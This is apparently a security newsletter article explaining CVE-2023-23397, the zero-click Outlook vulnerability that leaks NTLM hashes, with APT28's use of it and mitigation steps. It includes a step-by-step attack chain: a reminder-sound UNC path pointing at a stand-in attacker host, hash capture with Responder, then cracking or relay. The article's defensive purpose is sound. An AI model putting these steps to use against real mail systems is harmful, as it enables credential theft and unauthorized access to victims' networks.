CVE-2023-23397 Explained: The Outlook Zero-Click NTLM Hash Theft Vulnerability
A CVSS 9.8 zero-click vulnerability in Microsoft Outlook for Windows that leaks NTLM hashes to an attacker's server through a malicious calendar invitation — no user interaction required. Exploited by APT28.
Founder & Cybersecurity Evangelist
CVE-2023-23397 is a critical zero-click vulnerability in Microsoft Outlook for Windows that enables an attacker to steal a victim's NTLM authentication hash simply by sending them a malicious calendar invitation. The patch was released March 14, 2023, but Microsoft and Ukraine's CERT-UA confirmed that APT28 (Fancy Bear, a Russian state-sponsored threat group) had been exploiting this vulnerability against European government, military, energy, and transportation organizations since at least April 2022 — a ten-month zero-day window.
The vulnerability requires no user interaction beyond receiving the email. The victim does not need to open the message, click any link, preview the attachment, or enable any features. The exploit fires automatically when Outlook processes the reminder associated with the meeting invitation.
How CVE-2023-23397 Steals NTLM Hashes Without Any Clicks
Outlook allows calendar events to include custom reminder sounds, specified as a file path in the PidLidReminderFileParameter property of the appointment. When a reminder fires, Outlook attempts to access the file at the specified path to play the custom sound.
CVE-2023-23397 exploits the fact that Outlook accepts UNC (Universal Naming Convention) paths in this field — paths in the format \\attacker-server\share\file.wav that reference files over the network. When Outlook's reminder handler attempts to access the UNC path, Windows initiates an SMB connection to the remote server. As part of standard Windows SMB authentication, Windows sends the victim's NTLM authentication hash to the remote server.
The attacker's SMB server captures this hash. The victim's NTLM hash can then be cracked offline to recover the plaintext password, or relayed directly to other internal services using NTLM relay attacks — authenticating to those services as the victim without needing the password at all.
Critically: this fires when the reminder triggers, not when the email is opened. A calendar event scheduled for a future date will fire its reminder when that date arrives — potentially days or weeks after delivery — even if the email is never read. The victim's email client processes the appointment metadata automatically upon receipt.
Craft malicious appointment
Create an Outlook calendar invitation where the PidLidReminderFileParameter property is set to a UNC path pointing to an attacker-controlled SMB server, such as \\attacker.example.com\share\file.wav.
Deliver to victim
Send the malicious .MSG file as an email attachment, or deliver it as a meeting invitation directly. The meeting does not need a subject that attracts attention — it can blend with legitimate calendar traffic.
Appointment is processed
Outlook receives the invitation and adds it to the victim's calendar. This processing triggers the vulnerability — the NTLM hash may be sent immediately upon receipt, before the reminder date, depending on Outlook's notification handling.
NTLM hash captured
When Outlook attempts to access the UNC path, Windows initiates SMB authentication. The attacker's Responder or similar tool captures the Net-NTLMv2 hash from the incoming connection.
Crack or relay
The captured hash is cracked offline using tools like Hashcat with GPU acceleration, or relayed in real time to internal services (LDAP, SMB, HTTP) to authenticate as the victim without knowing their password.
APT28 Exploitation: A 10-Month Zero-Day Campaign
Microsoft credited the discovery of CVE-2023-23397 to the Computer Emergency Response Team of Ukraine (CERT-UA) and confirmed that APT28 (also tracked as STRONTIUM, Fancy Bear, and Forest Blizzard) had exploited it against at least 15 organizations across the European government, military, energy, and transportation sectors.
The earliest documented exploitation occurred in April 2022 — nearly a year before the March 2023 patch. APT28 used the vulnerability for initial access and lateral movement, harvesting NTLM hashes from multiple targeted victims and using them to authenticate into internal systems without needing to crack passwords.
The attack is particularly effective in corporate environments where NTLM authentication remains enabled for internal services. Windows environments commonly use NTLM for SMB file sharing, internal web applications running on IIS with Windows authentication, LDAP authentication to Active Directory, and various legacy application integrations. A single captured NTLM hash — if relayable — can provide access to multiple internal services.
The APT28 campaign demonstrated that credential theft vulnerabilities with zero interaction requirements represent a qualitatively different threat than traditional phishing campaigns, because there is nothing for security awareness training to intercept.
“STRONTIUM used CVE-2023-23397 to target and compromise government, transportation, energy, and military sector networks in Europe.”
— Microsoft Threat Intelligence, March 2023
Patching and Mitigating CVE-2023-23397
Microsoft released patches for all supported versions of Outlook for Windows on March 14, 2023. The patch prevents Outlook from following UNC paths in reminder sound fields. Several additional controls harden the environment against NTLM relay attacks even after patching.
Apply March 2023 Outlook security update immediately
Install the March 14, 2023 cumulative update for Microsoft Outlook 2013, 2016, 2019, and Microsoft 365 Apps. The patch blocks UNC path resolution in the PidLidReminderFileParameter field. Outlook on the web (OWA) and Outlook for Mac are not affected.
Block outbound SMB (TCP 445) at the perimeter
Prevent Windows endpoints from making outbound SMB connections to the internet. Firewall rules blocking outbound port 445 to non-RFC-1918 addresses prevent the NTLM hash from reaching attacker servers — even on unpatched systems.
Enable Protected Users security group
Add sensitive accounts (executives, administrators, service accounts) to the Protected Users security group. Members of this group cannot authenticate using NTLM, eliminating the relay attack pathway for those credentials.
Disable NTLM where not required
For environments that have migrated fully to Kerberos-capable infrastructure, disable NTLM authentication via Group Policy: Network Security: Restrict NTLM: Outgoing NTLM traffic to remote servers. Test extensively before enforcing — NTLM disabling commonly breaks legacy applications.
Run Microsoft's detection script
Microsoft published a PowerShell script (CVE-2023-23397.ps1) that scans Exchange mailboxes for calendar items containing UNC paths in the reminder sound field. Run this script to identify malicious items delivered before patching.
The bottom line
CVE-2023-23397 represents a category of vulnerability that security awareness programs cannot defend against — because there is no action for a user to avoid. The victim does nothing wrong. They receive an email. Outlook processes it. The NTLM hash is gone.
The ten-month APT28 exploitation window demonstrates that sophisticated nation-state actors actively develop zero-click credential theft capabilities and deploy them with precision against high-value targets. The organizations targeted were not the result of opportunistic scanning — they were selected based on intelligence value.
The durable fix is: patch Outlook, block outbound SMB, and reduce NTLM dependency. As long as Windows environments rely on NTLM for internal authentication, captured hashes will provide value to attackers. Zero-click delivery mechanisms like CVE-2023-23397 make credential protection a network architecture problem, not just an endpoint problem.
Get threat intel before your inbox does.
50,000+ security professionals read Decryption Digest for early warnings on zero-days, ransomware, and nation-state campaigns. Free, weekly, no spam.
Unsubscribe anytime. We never sell your data.
Founder & Cybersecurity Evangelist, Decryption Digest
Cybersecurity professional with expertise in threat intelligence, vulnerability research, and enterprise security. Covers zero-days, ransomware, and nation-state operations for 50,000+ security professionals weekly.